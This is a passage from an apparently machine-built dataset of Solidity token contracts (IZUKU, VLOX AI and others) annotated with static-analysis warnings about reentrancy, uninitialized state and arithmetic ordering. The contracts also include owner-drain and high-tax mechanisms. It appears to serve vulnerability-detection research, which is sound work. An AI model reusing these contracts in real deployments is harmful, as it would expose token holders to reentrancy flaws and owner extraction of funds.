.div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 7b47310\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 915ce11\n\t\t\t\t\t// reentrancy-eth | ID: 8ee942c\n\t\t\t\t\t// reentrancy-eth | ID: b33ef8a\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 915ce11\n\t\t\t\t\t\t// reentrancy-eth | ID: 8ee942c\n\t\t\t\t\t\t// reentrancy-eth | ID: b33ef8a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 915ce11\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 8ee942c\n\t\t\t\t\t\t\t// reentrancy-eth | ID: b33ef8a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: b33ef8a\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 915ce11\n\t\t\t\t\t// reentrancy-eth | ID: 8ee942c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 915ce11\n\t\t\t\t\t\t// reentrancy-eth | ID: 8ee942c\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8ee942c\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 915ce11\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8ee942c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8ee942c\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 915ce11\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9dc433a\n\t\t// reentrancy-events | ID: 915ce11\n\t\t// reentrancy-benign | ID: 209fac8\n\t\t// reentrancy-eth | ID: 8ee942c\n\t\t// reentrancy-eth | ID: b33ef8a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9dc433a\n\t\t// reentrancy-events | ID: 915ce11\n\t\t// reentrancy-eth | ID: 8ee942c\n\t\t// reentrancy-eth | ID: b33ef8a\n _taxWallet.transfer(amount);\n }\n\n function getStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c30e184): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c30e184: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: aa19867): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for aa19867: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2e3c384): USDT.milkTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2e3c384: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2aaf3c0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2aaf3c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function milkTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c30e184\n\t\t// reentrancy-benign | ID: aa19867\n\t\t// reentrancy-eth | ID: 2aaf3c0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: c30e184\n magaowner = uniswapV2Pair;\n\n\t\t// reentrancy-benign | ID: aa19867\n\t\t// unused-return | ID: 2e3c384\n\t\t// reentrancy-eth | ID: 2aaf3c0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: aa19867\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2aaf3c0\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10821.sol",
"size_bytes": 21441,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2c267c5): izuku.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 2c267c5: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 61848ec): izuku.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 61848ec: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a84bbe5): izuku.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for a84bbe5: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 40e6126): izuku.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 40e6126: Consider ordering multiplication before division.\ncontract izuku is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 50633f1): izuku.bots is never initialized. It is used in izuku._transfer(address,address,uint256)\n\t// Recommendation for 50633f1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 50633c6): izuku._taxWallet should be immutable \n\t// Recommendation for 50633c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a453812): izuku._initialBuyTax should be constant \n\t// Recommendation for a453812: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09be289): izuku._initialSellTax should be constant \n\t// Recommendation for 09be289: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92f2450): izuku._finalBuyTax should be constant \n\t// Recommendation for 92f2450: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9372571): izuku._finalSellTax should be constant \n\t// Recommendation for 9372571: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1de819e): izuku._reduceBuyTaxAt should be constant \n\t// Recommendation for 1de819e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d5f315): izuku._reduceSellTaxAt should be constant \n\t// Recommendation for 8d5f315: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac7ebc0): izuku._preventSwapBefore should be constant \n\t// Recommendation for ac7ebc0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"IZUKU\";\n\n string private constant _symbol = unicode\"IZUKU\";\n\n\t// divide-before-multiply | ID: 61848ec\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 2c267c5\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 27e2996): izuku._taxSwapThreshold should be constant \n\t// Recommendation for 27e2996: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: a84bbe5\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: b13bd80): izuku._maxTaxSwap should be constant \n\t// Recommendation for b13bd80: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 40e6126\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xD50dCd1e803F698d6e905537f39423C61D2f615a);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 458f389): izuku.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 458f389: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ac13226): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ac13226: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4f6f74e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4f6f74e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ac13226\n\t\t// reentrancy-benign | ID: 4f6f74e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ac13226\n\t\t// reentrancy-benign | ID: 4f6f74e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 705f27c): izuku._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 705f27c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4f6f74e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ac13226\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f131790): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f131790: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 50633f1): izuku.bots is never initialized. It is used in izuku._transfer(address,address,uint256)\n\t// Recommendation for 50633f1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 46bb7c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 46bb7c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f131790\n\t\t\t\t// reentrancy-eth | ID: 46bb7c6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f131790\n\t\t\t\t\t// reentrancy-eth | ID: 46bb7c6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 46bb7c6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 46bb7c6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 46bb7c6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f131790\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 46bb7c6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 46bb7c6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f131790\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ac13226\n\t\t// reentrancy-events | ID: f131790\n\t\t// reentrancy-benign | ID: 4f6f74e\n\t\t// reentrancy-eth | ID: 46bb7c6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ac13226\n\t\t// reentrancy-events | ID: f131790\n\t\t// reentrancy-eth | ID: 46bb7c6\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ec259ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ec259ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c3161cc): izuku.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c3161cc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2e2b2fb): izuku.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2e2b2fb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c26d442): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c26d442: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ec259ee\n\t\t// reentrancy-eth | ID: c26d442\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ec259ee\n\t\t// unused-return | ID: c3161cc\n\t\t// reentrancy-eth | ID: c26d442\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ec259ee\n\t\t// unused-return | ID: 2e2b2fb\n\t\t// reentrancy-eth | ID: c26d442\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ec259ee\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c26d442\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10822.sol",
"size_bytes": 21758,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract VLOXAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1b5b370): VLOXAI._taxWallet should be immutable \n\t// Recommendation for 1b5b370: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 859bee3): VLOXAI._initialBuyTax should be constant \n\t// Recommendation for 859bee3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b82cf5c): VLOXAI._initialSellTax should be constant \n\t// Recommendation for b82cf5c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3feb3b6): VLOXAI._reduceBuyTaxAt should be constant \n\t// Recommendation for 3feb3b6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: c7ffb46): VLOXAI._reduceSellTaxAt should be constant \n\t// Recommendation for c7ffb46: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1da119): VLOXAI._preventSwapBefore should be constant \n\t// Recommendation for e1da119: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Vlox AI\";\n\n string private constant _symbol = unicode\"VLOX\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 